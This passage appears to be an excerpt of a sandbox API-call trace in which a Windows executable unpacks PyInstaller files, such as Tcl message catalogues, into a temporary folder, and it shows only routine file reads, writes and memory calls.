hTemplateFile=0x0) returned 0x10c [0037.022] GetFileType (hFile=0x10c) returned 0x1 [0037.022] htonl (hostlong=0x1e375700) returned 0x57371e [0037.022] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5be71e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.022] htonl (hostlong=0x91010000) returned 0x191 [0037.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x191) returned 0x550600 [0037.022] htonl (hostlong=0x91010000) returned 0x191 [0037.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.022] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.022] htonl (hostlong=0x14050000) returned 0x514 [0037.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x514) returned 0x55e278 [0037.022] htonl (hostlong=0x91010000) returned 0x191 [0037.022] htonl (hostlong=0x14050000) returned 0x514 [0037.022] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.023] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.023] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.023] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.023] CloseHandle (hObject=0x10c) returned 1 [0037.023] GetLastError () returned 0x0 [0037.023] SetLastError (dwErrCode=0x0) [0037.023] GetLastError () returned 0x0 [0037.023] SetLastError (dwErrCode=0x0) [0037.023] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.023] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.023] GetFileType (hFile=0x10c) returned 0x1 [0037.023] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.023] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.023] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.023] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.023] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.023] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.023] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.023] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.023] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.023] CloseHandle (hObject=0x10c) returned 1 [0037.023] GetLastError () returned 0x0 [0037.023] SetLastError (dwErrCode=0x0) [0037.023] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.024] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.024] GetFileType (hFile=0x10c) returned 0x1 [0037.024] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.024] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.024] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.024] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.024] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.024] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.024] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.024] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.024] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.024] CloseHandle (hObject=0x10c) returned 1 [0037.024] GetLastError () returned 0x0 [0037.024] SetLastError (dwErrCode=0x0) [0037.024] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\cs.msg") returned 61 [0037.024] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\cs.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\cs.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.024] GetLastError () returned 0x2 [0037.024] SetLastError (dwErrCode=0x2) [0037.024] GetLastError () returned 0x2 [0037.024] SetLastError (dwErrCode=0x2) [0037.024] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\cs.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\cs.msg", lpFilePart=0x0) returned 0x3c [0037.024] GetLastError () returned 0x2 [0037.024] SetLastError (dwErrCode=0x2) [0037.024] GetLastError () returned 0x2 [0037.024] SetLastError (dwErrCode=0x2) [0037.024] GetLastError () returned 0x2 [0037.025] SetLastError (dwErrCode=0x2) [0037.025] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\cs.msg") returned 61 [0037.025] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.025] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\cs.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\cs.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.025] GetFileType (hFile=0x10c) returned 0x1 [0037.025] htonl (hostlong=0x14050000) returned 0x514 [0037.025] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.025] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x514, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x514, lpOverlapped=0x0) returned 1 [0037.026] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.026] CloseHandle (hObject=0x10c) returned 1 [0037.027] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0037.027] htonl (hostlong=0x30000000) returned 0x30 [0037.027] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.027] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.027] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.027] GetFileType (hFile=0x10c) returned 0x1 [0037.027] htonl (hostlong=0xaf385700) returned 0x5738af [0037.027] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5be8af, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.027] htonl (hostlong=0x67010000) returned 0x167 [0037.027] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x167) returned 0x550600 [0037.027] htonl (hostlong=0x67010000) returned 0x167 [0037.027] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.027] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.027] htonl (hostlong=0x84040000) returned 0x484 [0037.027] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x484) returned 0x550770 [0037.027] htonl (hostlong=0x67010000) returned 0x167 [0037.027] htonl (hostlong=0x84040000) returned 0x484 [0037.027] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.027] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.027] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.027] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.027] CloseHandle (hObject=0x10c) returned 1 [0037.027] GetLastError () returned 0x0 [0037.027] SetLastError (dwErrCode=0x0) [0037.028] GetLastError () returned 0x0 [0037.028] SetLastError (dwErrCode=0x0) [0037.028] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.028] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.028] GetFileType (hFile=0x10c) returned 0x1 [0037.028] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.028] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.028] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.028] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.028] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.028] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.028] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.028] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.028] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.028] CloseHandle (hObject=0x10c) returned 1 [0037.028] GetLastError () returned 0x0 [0037.028] SetLastError (dwErrCode=0x0) [0037.028] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.028] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.028] GetFileType (hFile=0x10c) returned 0x1 [0037.028] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.028] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.028] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.028] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.029] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.029] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.029] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.029] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.029] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.029] CloseHandle (hObject=0x10c) returned 1 [0037.029] GetLastError () returned 0x0 [0037.029] SetLastError (dwErrCode=0x0) [0037.029] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\da.msg") returned 61 [0037.029] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\da.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\da.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.029] GetLastError () returned 0x2 [0037.029] SetLastError (dwErrCode=0x2) [0037.029] GetLastError () returned 0x2 [0037.029] SetLastError (dwErrCode=0x2) [0037.029] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\da.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\da.msg", lpFilePart=0x0) returned 0x3c [0037.029] GetLastError () returned 0x2 [0037.029] SetLastError (dwErrCode=0x2) [0037.029] GetLastError () returned 0x2 [0037.029] SetLastError (dwErrCode=0x2) [0037.029] GetLastError () returned 0x2 [0037.029] SetLastError (dwErrCode=0x2) [0037.029] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\da.msg") returned 61 [0037.029] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.029] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\da.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\da.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.030] GetFileType (hFile=0x10c) returned 0x1 [0037.030] htonl (hostlong=0x84040000) returned 0x484 [0037.030] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.030] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x484, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x484, lpOverlapped=0x0) returned 1 [0037.031] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.031] CloseHandle (hObject=0x10c) returned 1 [0037.032] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550770 | out: hHeap=0x530000) returned 1 [0037.032] htonl (hostlong=0x30000000) returned 0x30 [0037.032] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.032] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.032] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.032] GetFileType (hFile=0x10c) returned 0x1 [0037.032] htonl (hostlong=0x163a5700) returned 0x573a16 [0037.032] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bea16, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.032] htonl (hostlong=0x7c010000) returned 0x17c [0037.032] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x17c) returned 0x550600 [0037.032] htonl (hostlong=0x7c010000) returned 0x17c [0037.032] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.033] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.033] htonl (hostlong=0xc6040000) returned 0x4c6 [0037.033] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x4c6) returned 0x550788 [0037.033] htonl (hostlong=0x7c010000) returned 0x17c [0037.033] htonl (hostlong=0xc6040000) returned 0x4c6 [0037.033] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.033] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.033] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.033] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.033] CloseHandle (hObject=0x10c) returned 1 [0037.033] GetLastError () returned 0x0 [0037.033] SetLastError (dwErrCode=0x0) [0037.033] GetLastError () returned 0x0 [0037.033] SetLastError (dwErrCode=0x0) [0037.033] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.033] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.033] GetFileType (hFile=0x10c) returned 0x1 [0037.033] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.033] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.033] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.033] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.033] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.033] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.034] CloseHandle (hObject=0x10c) returned 1 [0037.034] GetLastError () returned 0x0 [0037.034] SetLastError (dwErrCode=0x0) [0037.034] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.034] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.034] GetFileType (hFile=0x10c) returned 0x1 [0037.034] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.034] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.034] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.034] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.034] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.034] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.034] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.034] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.034] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.034] CloseHandle (hObject=0x10c) returned 1 [0037.034] GetLastError () returned 0x0 [0037.034] SetLastError 